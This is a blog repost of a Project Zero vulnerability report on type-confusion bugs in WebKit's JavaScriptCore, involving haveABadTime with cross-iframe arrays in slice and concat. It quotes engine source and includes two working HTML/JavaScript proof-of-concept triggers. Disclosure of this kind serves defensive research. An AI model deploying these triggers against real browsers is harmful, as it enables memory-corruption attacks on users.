Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86369894

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1208

After JSGlobalObject::haveABadTime is called, the type of all JavaScript arrays(including newly created arrays) are of the same type: ArrayWithSlowPutArrayStorage. But (of course) this only affects objects that share the same JSGlobalObject. So arrays come from another JSGlobalObject can cause type confusions.

void JSGlobalObject::haveABadTime(VM& vm)
{
	...
    for (unsigned i = 0; i < NumberOfIndexingShapes; ++i)
        m_arrayStructureForIndexingShapeDuringAllocation[i].set(vm, this, originalArrayStructureForIndexingType(ArrayWithSlowPutArrayStorage));  <<-- The type of a newly created array will be ArrayWithSlowPutArrayStorage
    ...
    while (!foundObjects.isEmpty()) {
        JSObject* object = asObject(foundObjects.last());
        foundObjects.removeLast();
        ASSERT(hasBrokenIndexing(object));
        object->switchToSlowPutArrayStorage(vm); <<------ switch type of an old array
    }
}


1. fastSlice:
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        VM& vm = exec.vm();
        if (count >= MIN_SPARSE_ARRAY_INDEX || structure(vm)->holesMustForwardToPrototype(vm))
            return nullptr;

        Structure* resultStructure = exec.lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(arrayType);
        JSArray* resultArray = JSArray::tryCreateForInitializationPrivate(vm, resultStructure, count);
        if (!resultArray)
            return nullptr;

        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            memcpy(resultButterfly.contiguousDouble().data(), m_butterfly.get()->contiguousDouble().data() + startIndex, sizeof(JSValue) * count);
        else
            memcpy(resultButterfly.contiguous().data(), m_butterfly.get()->contiguous().data() + startIndex, sizeof(JSValue) * count);
        resultButterfly.setPublicLength(count);

        return resultArray;
    }
    default:
        return nullptr;
    }
}

If |this| came from another JSGlobalObject, and |haveABadTime| was called, the type of |resultArray| will be ArrayWithSlowPutArrayStorage. It will result in a type confusion.

<html>
<body>
<script>

Array.prototype.__defineGetter__(100, () => 1);

let f = document.body.appendChild(document.createElement('iframe'));
let a = new f.contentWindow.Array(2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320, 2.3023e-320);

let c = Array.prototype.slice.call(a);
alert(c);

</script>
</body>
</html>

2. arrayProtoPrivateFuncConcatMemcpy
EncodedJSValue JSC_HOST_CALL arrayProtoPrivateFuncConcatMemcpy(ExecState* exec)
{
...
    JSArray* firstArray = jsCast<JSArray*>(exec->uncheckedArgument(0));
    ...
    IndexingType type = firstArray->mergeIndexingTypeForCopying(secondType);
    ...
    Structure* resultStructure = exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(type);
    JSArray* result = JSArray::tryCreateForInitializationPrivate(vm, resultStructure, firstArraySize + secondArraySize);
    if (!result)
        return JSValue::encode(throwOutOfMemoryError(exec, scope));
    
    if (type == ArrayWithDouble) {
        double* buffer = result->butterfly()->contiguousDouble().data();
        memcpy(buffer, firstButterfly->contiguousDouble().data(), sizeof(JSValue) * firstArraySize);
        memcpy(buffer + firstArraySize, secondButterfly->contiguousDouble().data(), sizeof(JSValue) * secondArraySize);
    } else if (type != ArrayWithUndecided) {
        WriteBarrier<Unknown>* buffer = result->butterfly()->contiguous().data();
        memcpy(buffer, firstButterfly->contiguous().data(), sizeof(JSValue) * firstArraySize);
        if (secondType != ArrayWithUndecided)
            memcpy(buffer + firstArraySize, secondButterfly->contiguous().data(), sizeof(JSValue) * secondArraySize);
        else {
            for (unsigned i = secondArraySize; i--;)
                buffer[i + firstArraySize].clear();
        }
    }

    result->butterfly()->setPublicLength(firstArraySize + secondArraySize);
    return JSValue::encode(result);
}

If |firstArray| came from another JSGlobalObject, and |haveABadTime| was called, the type of |result| will be ArrayWithSlowPutArrayStorage. It will result in a type confusion.

PoC:
-->

<html>
<body>
<script>

Array.prototype.__defineGetter__(100, () => 1);

let f = document.body.appendChild(document.createElement('iframe'));
let a = new f.contentWindow.Array(2.3023e-320, 2.3023e-320);
let b = new f.contentWindow.Array(2.3023e-320, 2.3023e-320);

let c = Array.prototype.concat.call(a, b);

alert(c);

</script>
</body>
</html>